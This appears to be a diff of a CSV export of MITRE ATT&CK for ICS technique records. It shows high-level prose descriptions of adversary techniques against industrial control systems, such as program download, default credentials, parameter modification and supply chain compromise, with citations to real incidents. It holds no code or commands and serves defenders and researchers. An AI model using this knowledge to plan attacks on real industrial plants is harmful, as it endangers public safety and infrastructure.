Controller/RTU/PLC/IED']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather information about the physical process state. This information may be used to gain more information about the process itself or used as a trigger for malicious actions. The sources of process state information may vary such as, OPC tags, historian data, specific PLC block information, or network traffic.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0801', external_id='T0801')]",attack-pattern--2d0d40ad-22fa-4cc8-b264-072557e1364b,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='collection-ics')]",2020-05-21 17:43:26.506000+00:00,Monitor Process State,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Controller program', 'Network device logs', 'Process monitoring', 'Netflow/Enclave netflow', 'Host network interfaces']",,,,,,,,,,,,,,"['Human-Machine Interface', 'Control Server', 'Data Historian', 'Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may perform a program download to transfer a user program to a controller. ariations of program download, such as online edit and program append, allow a controller to continue running during the transfer and reconfiguration process without interruption to process control. However, before starting a full program download (i.e., download all) a controller may need to go into a stop state. This can have negative consequences on the physical process, especially if the controller is not able to fulfill a time-sensitive action. Adversaries may choose to avoid a download all in favor of an online edit or program append to avoid disrupting the physical process. An adversary may need to use the technique Detect Operating Mode or Change Operating Mode to make sure the controller is in the proper mode to accept a program download. The granularity of control to transfer a user program in whole or parts is dictated by the management protocol (e.g., S7CommPlus, TriStation) and underlying controller API. Thus, program download is a high-level term for the suite of vendor-specific API calls used to configure a controller’s user program memory space. Modify Controller Tasking and Modify Program represent the configuration changes that are transferred to a controller via a program download.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0843', external_id='T0843')]",attack-pattern--be69c571-d746-4b1f-bdd0-c0c9817e9068,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='lateral-movement-ics')]",2021-04-13 12:52:26.506000+00:00,Program Download,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Joe Slowik - Dragos'],"['Sequential event recorder', 'Controller program', 'Network protocol analysis', 'Packet capture']",,,,,,,,,,,,,,"['Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may transfer tools or other files from one system to another to stage adversary tools or other files over the course of an operation. (Citation: EAttack Lateral Tool Transfer) Copying of files may also be performed laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares. (Citation: EAttack Remote File Copy) +ICS asset owners and operators have been affected by ransomware (or disruptive malware masquerading as ransomware) migrating from enterprise IT to ICS environments: WannaCry, NotPetya, and BadRabbit. In each of these cases, self-propagating (“wormable”) malware initially infected IT networks, but through exploit (particularly the SMBv1-targeting MS17-010 vulnerability) spread to industrial networks, producing significant impacts. (Citation: Reference - Dragos - 201910)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'lateral-movement-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0866', 'external_id': 'T0866'}, {'source_name': 'EAttack Exploitation of Remote Services', 'description': 'Enterprise ATT&CK. (n.d.). Exploitation of Remote Services. Retrieved October 27, 2019.', 'url': 'https://attack.mitre.org/techniques/T1210/'}, {'source_name': 'Reference - Dragos - 201910', 'description': 'Joe Slowik. (2019, April 10). Implications of IT Ransomware for ICS Environments. Retrieved October 27, 2019.', 'url': 'https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,,,,"['Human-Machine Interface', 'Data Historian', 'Engineering Workstation']",,,,,,,, +attack-pattern,attack-pattern--b5b9bacb-97f2-4249-b804-47fd44de1f95,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Loss of Availability,"Adversaries may attempt to disrupt essential components or systems to prevent owner and operator from delivering products or services. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) -In control systems environments, malware may use SMB and other file sharing protocols to move laterally through industrial networks.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0867', external_id='T0867'), ExternalReference(source_name='EAttack Lateral Tool Transfer', description='Enterprise ATT&CK. (n.d.). Lateral Tool Transfer. Retrieved October 27, 2019.', url='https://attack.mitre.org/techniques/T1570/')]",attack-pattern--ead7bd34-186e-4c79-9a4d-b65bcce6ed9d,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='lateral-movement-ics')]",2021-04-12 16:19:26.506000+00:00,Lateral Tool Transfer,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File monitoring', 'Packet capture', 'Process use of network', 'Process monitoring', 'Netflow/Enclave netflow', 'Network protocol analysis']",,,,,,,,,,,,,,"['Human-Machine Interface', 'Control Server', 'Data Historian']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may perform serial connection enumeration to gather situational awareness after gaining access to devices in the OT network. Control systems devices often communicate to each other via various types of serial communication mediums. These serial communications are used to facilitate informational communication, as well as commands. Serial Connection Enumeration differs from I/O Module Discovery, as I/O modules are auxiliary systems to the main system, and devices that are connected via serial connection are normally discrete systems. +Adversaries may leverage malware to delete or encrypt critical data on HMIs, workstations, or databases. In the 2021 Colonial Pipeline ransomware incident, pipeline operations were temporally halted on May 7th and were not fully restarted until May 12th.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0826', 'external_id': 'T0826'}, {'source_name': 'Reference - Corero', 'description': 'Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', 'url': 'https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'}, {'source_name': 'Reference - SANS - 201510', 'description': 'Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', 'url': 'https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'}, {'source_name': 'Reference - RIoT', 'description': 'Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['Windows'],,,,,,,, +attack-pattern,attack-pattern--138979ba-0430-4de6-a128-2fc0b056ba36,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-04-12T07:57:26.506Z,Loss of View,"Adversaries may cause a sustained or permanent loss of view where the ICS equipment will require local, hands-on operator intervention; for instance, a restart or manual operation. By causing a sustained reporting or visibility loss, the adversary can effectively hide the present state of operations. This loss of view can occur without affecting the physical processes themselves. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0829', 'external_id': 'T0829'}, {'source_name': 'Reference - Corero', 'description': 'Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', 'url': 'https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'}, {'source_name': 'Reference - SANS - 201510', 'description': 'Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', 'url': 'https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'}, {'source_name': 'Reference - RIoT', 'description': 'Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Human-Machine Interface', 'Engineering Workstation']",,,,,,,, +attack-pattern,attack-pattern--ba203963-3182-41ac-af14-7e7ebc83cd61,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Masquerading,"Adversaries may use masquerading to disguise a malicious application or executable as another file, to avoid operator and engineer suspicion. Possible disguises of these masquerading files can include commonly found programs, expected vendor executables and configuration files, and other commonplace application and naming conventions. By impersonating expected and vendor-relevant files and applications, operators and engineers may not notice the presence of the underlying malicious content and possibly end up running those masquerading as legitimate functions. -While IT and OT networks may work in tandem, the exact structure of the OT network may not be discernible from the IT network alone. After gaining access to a device on the OT network, an adversary may be able to enumerate the serial connections. From this perspective, the adversary can see the specific physical devices to which the compromised device is connected to. This gives the adversary greater situational awareness and can influence the actions that the adversary can take in an attack.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T854', external_id='T0854')]",attack-pattern--5f3da2f3-91c8-4d8b-a02f-bf43a11def55,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='discovery-ics')]",2020-05-21 17:43:26.506000+00:00,Serial Connection Enumeration,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network protocol analysis', 'Packet capture']",,True,,,,,,,,,,,,"['Windows', 'Input/Output Server', 'Field Controller/RTU/PLC/IED']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may perform supply chain compromise to gain control systems environment access by means of infected products, software, and workflows. Supply chain compromise is the manipulation of products, such as devices or software, or their delivery mechanisms before receipt by the end consumer. Adversary compromise of these products and mechanisms is done for the goal of data or system compromise, once infected products are introduced to the target environment. +Applications and other files commonly found on Windows systems or in engineering workstations have been impersonated before. This can be as simple as renaming a file to effectively disguise it in the ICS environment.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'evasion-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0849', 'external_id': 'T0849'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'File: File Metadata', 'File: File Modification', 'Scheduled Job: Scheduled Job Metadata', 'Scheduled Job: Scheduled Job Modification', 'Service: Service Creation', 'Service: Service Metadata']",,,,,"['Human-Machine Interface', 'Control Server']",,,,,,,, +attack-pattern,attack-pattern--097924ce-a9a9-4039-8591-e0deedfb8722,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-14T15:25:32.143Z,Modify Parameter,"Adversaries may modify parameters used to instruct industrial control system devices. These devices operate via programs that dictate how and when to perform actions based on such parameters. Such parameters can determine the extent to which an action is performed and may specify additional options. For example, a program on a control system device dictating motor processes may take a parameter defining the total number of seconds to run that motor. -Supply chain compromise can occur at all stages of the supply chain, from manipulation of development tools and environments to manipulation of developed products and tools distribution mechanisms. This may involve the compromise and replacement of legitimate software and patches, such as on third party or vendor websites. Targeting of supply chain compromise can be done in attempts to infiltrate the environments of a specific audience. In control systems environments with assets in both the IT and OT networks, it is possible a supply chain compromise affecting the IT environment could enable further access to the OT environment. Counterfeit devices may be introduced to the global supply chain posing safety and cyber risks to asset owners and operators. These devices may not meet the safety, engineering and manufacturing requirements of regulatory bodies but may feature tagging indicating conformance with industry standards. Due to the lack of adherence to standards and overall lesser quality, the counterfeit products may pose a serious safety and operational risk. Yokogawa identified instances in which their customers received counterfeit differential pressure transmitters using the Yokogawa logo. The counterfeit transmitters were nearly indistinguishable with a semblance of functionality and interface that mimics the genuine product. +An adversary can potentially modify these parameters to produce an outcome outside of what was intended by the operators. By modifying system and process critical parameters, the adversary may cause Impact to equipment and/or control processes. Modified parameters may be turned into dangerous, out-of-bounds, or unexpected values from typical operations. For example, specifying that a process run for more or less time than it should, or dictating an unusually high, low, or invalid value as a parameter. -F-Secure Labs analyzed the approach the adversary used to compromise victim systems with Havex. (Citation: (Citation: Havex - F-Secure) - 201406) The adversary planted trojanized software installers available on legitimate ICS/SCADA vendor websites. After being downloaded, this software infected the host computer with a Remote Access Trojan (RAT).","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0862', external_id='T0862'), ExternalReference(source_name='Control Global Yokogawa May 2019', description='Control Global. (2019, May 29). Yokogawa announcement warns of counterfeit transmitters. Retrieved April 9, 2021.', url='https://www.controlglobal.com/industrynews/2019/yokogawa-announcement-warns-of-counterfeit-transmitters/'), ExternalReference(source_name='Havex - F-Secure - 201406', description='F-Secure Labs. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved October 21, 2019.', url='https://www.f-secure.com/weblog/archives/00002718.html'), ExternalReference(source_name='Havex - F-Secure', description='Daavid Hentunen, Antti Tikkanen. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved April 1, 2019.', url='https://www.f-secure.com/weblog/archives/00002718.html')]",attack-pattern--5e0f75da-e108-4688-a6de-a4f07cc2cbe3,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='initial-access-ics')]",2021-04-13 12:19:26.506000+00:00,Supply Chain Compromise,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Web proxy', 'File monitoring', 'Detonation chamber', 'Digital signatures']",,,,,,,,,,,,,,"['Control Server', 'Data Historian', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface', 'Input/Output Server', 'Safety Instrumented System/Protection Relay']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may steal the credentials of a specific user or service account using credential access techniques. In some cases, default credentials for control system devices may be publicly available. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network, and may even be used for persistent access to remote systems. Compromised and default credentials may also grant an adversary increased privilege to specific systems and devices or access to restricted areas of the network. Adversaries may choose not to use malware or tools, in conjunction with the legitimate access those credentials provide, to make it harder to detect their presence or to control devices and send legitimate commands in an unintended way. Adversaries may also create accounts, sometimes using predefined account names and passwords, to provide a means of backup access for persistence.(Citation: BlackEnergy - Booz Allen Hamilton) The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) and possibly between the enterprise and operational technology environments. Adversaries may be able to leverage valid credentials from one system to gain access to another system.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0859', external_id='T0859'), ExternalReference(source_name='Ukraine15 - EISAC - 201603', description='Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', url='https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'), ExternalReference(source_name='BlackEnergy - Booz Allen Hamilton', description='Booz Allen Hamilton. (n.d.). When The Lights Went Out. Retrieved October 22, 2019.', url='https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf')]",attack-pattern--cd2c76a4-5e23-4ca5-9c40-d5e0604f7101,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='persistence-ics'), KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='lateral-movement-ics')]",2020-05-21 17:43:26.506000+00:00,Valid Accounts,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Authentication logs', 'Process monitoring']",,,,,,,,,,,,,,"['Control Server', 'Data Historian', 'Engineering Workstation', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface', 'Input/Output Server', 'Safety Instrumented System/Protection Relay']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may automate collection of industrial environment information using tools or scripts. This automated collection may leverage native control protocols and tools available in the control systems environment. For example, the OPC protocol may be used to enumerate and gather information. Access to a system or interface with these native protocols may allow collection and enumeration of other attached, communicating servers and devices.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0802', external_id='T0802')]",attack-pattern--3de230d4-3e42-4041-b089-17e1128feded,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='collection-ics')]",2020-05-21 17:43:26.506000+00:00,Automated Collection,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File monitoring', 'Data loss prevention', 'Process command-line parameters']",,,,,,,,,,,,,,"['Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay', 'Control Server']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Adversaries may attempt to change the state of the current program on a control device. Program state changes may be used to allow for another program to take over control or be loaded onto the device.,"[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T875', external_id='T0875')]",attack-pattern--a8cfd474-9358-464f-a169-9c6f099a8e8a,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='execution-ics'), KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='impair-process-control')]",2020-05-21 17:43:26.506000+00:00,Change Program State,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Alarm history', 'Sequential event recorder', 'Network protocol analysis', 'Packet capture']",,True,,,,,,,,,,,,['Field Controller/RTU/PLC/IED'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may perform control device identification to determine the make and model of a target device. Management software and device APIs may be utilized by the adversary to gain this information. By identifying and obtaining device specifics, the adversary may be able to determine device vulnerabilities. This device information can also be used to understand device functionality and inform the decision to target the environment.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T808', external_id='T0808')]",attack-pattern--abb0a255-eb9c-48d0-8f5c-874bb84c0e45,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='discovery-ics')]",2020-05-21 17:43:26.506000+00:00,Control Device Identification,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network protocol analysis', 'Packet capture']",,True,,,,,,,,,,,,"['Windows', 'Field Controller/RTU/PLC/IED']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may leverage manufacturer or supplier set default credentials on control system devices. These default credentials may have administrative permissions and may be necessary for initial configuration of the device. It is general best practice to change the passwords for these accounts as soon as possible, but some manufacturers may have devices that have passwords or usernames that cannot be changed. (Citation: Guidance - NIST SP800-82) +In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. (Citation: Maroochy - MITRE - 200808) In the Oldsmar water treatment attack, adversaries raised the sodium hydroxide setpoint value from 100 part-per-million (ppm) to 11,100 ppm, far beyond normal operating levels. (Citation: Oldsmar Water Treatment Attack Feb 2021)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0836', 'external_id': 'T0836'}, {'source_name': 'Maroochy - MITRE - 200808', 'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}, {'source_name': 'Oldsmar Water Treatment Attack Feb 2021', 'description': 'Pinellas County Sheriff’s Office. (2021, February 8). Treatment Plant Intrusion Press Conference. Retrieved October 8, 2021.', 'url': 'https://www.youtube.com/watch?v=MkXDSOgLQ6M'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'Operational Databases: Device Alarm', 'Asset: Device Configuration/Parameters']",,,,,"['Control Server', 'Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay', 'Human-Machine Interface']",,,,,,,, +attack-pattern,attack-pattern--ea0c980c-5cf0-43a7-a049-59c4c207566e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Network Connection Enumeration,"Adversaries may perform network connection enumeration to discover information about device communication patterns. If an adversary can inspect the state of a network connection with tools, such as [https://en.wikipedia.org/wiki/Netstat netstat], in conjunction with System Firmware, then they can determine the role of certain devices on the network (Citation: EAttack System Network Connections Discovery). The adversary can also use Network Sniffing to watch network traffic for details about the source, destination, protocol, and content.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'discovery-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0840', 'external_id': 'T0840'}, {'source_name': 'EAttack System Network Connections Discovery', 'description': 'MITRE. (n.d.). System Network Connections Discovery. Retrieved May 31, 2018.', 'url': 'https://attack.mitre.org/wiki/Technique/T1049'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation']",,,,,['Human-Machine Interface'],,,,,,,, +attack-pattern,attack-pattern--3b6b9246-43f8-4c69-ad7a-2b11cfe0a0d9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Rootkit,"Adversaries may deploy rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting and modifying operating-system API calls that supply system information. Rootkits or rootkit-enabling functionality may reside at the user or kernel level in the operating system, or lower. (Citation: EAttack Rootkit) -Default credentials are normally documented in an instruction manual that is either packaged with the device, published online through official means, or published online through unofficial means. Adversaries may leverage default credentials that have not been properly modified or disabled.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0812', external_id='T0812'), ExternalReference(source_name='Guidance - NIST SP800-82', description='Keith Stouffer. (2015, May). Guide to Industrial Control Systems (ICS) Security. Retrieved March 28, 2018.', url='https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf')]",attack-pattern--8bb4538f-f16f-49f0-a431-70b5444c7349,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='lateral-movement-ics')]",2020-05-21 17:43:26.506000+00:00,Default Credentials,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Authentication logs', 'Windows event logs', 'Network protocol analysis', 'Packet capture']",,,,,,,,,,,,,,"['Human-Machine Interface', 'Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay', 'Control Server', 'Engineering Workstation']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may seek to gather information about the current state of a program on a PLC. State information reveals information about the program, including whether it's running, halted, stopped, or has generated an exception. This information may be leveraged as a verification of malicious program execution or to determine if a PLC is ready to download a new program.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T870', external_id='T0870')]",attack-pattern--94f042ae-3033-4a8d-9ec3-26396533a541,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='collection-ics')]",2020-05-21 17:43:26.506000+00:00,Detect Program State,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network protocol analysis', 'Packet capture']",,True,,,,,,,,,,,,"['Windows', 'Field Controller/RTU/PLC/IED']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may leverage weaknesses to exploit internet-facing software for initial access into an industrial network. Internet-facing software may be user applications, underlying networking implementations, an assets operating system, weak defenses, etc. Targets of this technique may be intentionally exposed for the purpose of remote management and visibility. An adversary may seek to target public-facing applications as they may provide direct access into an ICS environment or the ability to move into the ICS network. Publicly exposed applications may be found through online tools that scan the internet for open ports and services. Version numbers for the exposed application may provide adversaries an ability to target specific known vulnerabilities. Exposed control protocol or remote access ports found in Commonly Used Port may be of interest by adversaries.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0819', external_id='T0819'), ExternalReference(source_name='ICS CERT 14-281', description='ICS-CERT. (2014, December 10). ICS Alert (ICS-ALERT-14-281-01E) Ongoing Sophisticated Malware Campaign Compromising ICS (Update E). Retrieved October 11, 2019.', url='https://www.us-cert.gov/ics/alerts/ICS-ALERT-14-281-01B')]",attack-pattern--32632a95-6856-47b9-9ab7-fea5cd7dce00,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='initial-access-ics')]",2020-05-21 17:43:26.506000+00:00,Exploit Public-Facing Application,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Web logs', 'Web application firewall logs', 'Application logs', 'Packet capture']",,,,,,,,,,,,,,['Windows'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard. If physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems. An adversary can use this access to execute programs and applications on the target machine.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0823', external_id='T0823'), ExternalReference(source_name='Ukraine15 - EISAC - 201603', description='Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', url='https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf')]",attack-pattern--b0628bfc-5376-4a38-9182-f324501cb4cf,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='execution-ics')]",2020-05-21 17:43:26.506000+00:00,Graphical User Interface,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File monitoring', 'Process monitoring', 'Process command-line parameters', 'Binary file metadata']",,,,,,,,,,,,,,['Human-Machine Interface'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gain access into industrial environments through systems exposed directly to the internet for remote access rather than through External Remote Services. Internet Accessible Devices are exposed to the internet unintentionally or intentionally without adequate protections. This may allow for adversaries to move directly into the control system network. Access onto these devices is accomplished without the use of exploits, these would be represented within the Exploit Public-Facing Application technique. Adversaries may leverage built in functions for remote access which may not be protected or utilize minimal legacy protections that may be targeted.(Citation: Bowman Dam - ICS-CERT) In the case of the Bowman dam incident, adversaries leveraged access to the dam control network through a cellular modem. Access to the device was protected by password authentication, although the application was vulnerable to brute forcing.(Citation: Bowman Dam - ICS-CERT)(Citation: Bowman Dam - wall street journal)(Citation: owman Dam - Times) In Trend Micro’s manufacturing deception operations adversaries were detected leveraging direct internet access to an ICS environment through the exposure of operational protocols such as Siemens S7, Omron FINS, and EtherNet/IP, in addition to misconfigured VNC access.(Citation: Trend Micro Honeypot)","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0883', external_id='T0883'), ExternalReference(source_name='Bowman Dam - ICS-CERT', description='NCCIC. (2014, January 1). Internet Accessible Control Systems At Risk. Retrieved November 7, 2019.', url='https://www.us-cert.gov/sites/default/files/Monitors/ICS-CERT%20Monitor%20Jan-April2014.pdf'), ExternalReference(source_name='Bowman Dam - wall street journal', description='Danny Yadron. (2015, December 20). Iranian Hackers Infiltrated New York Dam in 2013. Retrieved November 7, 2019.', url='https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559'), ExternalReference(source_name='Bowman Dam - Times', description='Mark Thompson. (2016, March 24). Iranian Cyber Attack on New York Dam Shows Future of War. Retrieved November 7, 2019.', url='https://time.com/4270728/iran-cyber-attack-dam-fbi/'), ExternalReference(source_name='Trend Micro Honeypot', description='Stephen Hilt, Federico Maggi, Charles Perine, Lord Remorin, Martin Rösler, and Rainer Vosseler. (n.d.). Caught in the Act: Running a Realistic Factory Honeypot to Capture Real Threats. Retrieved April 12, 2021.', url='https://documents.trendmicro.com/assets/white_papers/wp-caught-in-the-act-running-a-realistic-factory-honeypot-to-capture-real-threats.pdf')]",attack-pattern--f8df6b57-14bc-425f-9a91-6f59f6799307,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='initial-access-ics')]",2020-05-21 17:43:26.506000+00:00,Internet Accessible Device,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['Authentication 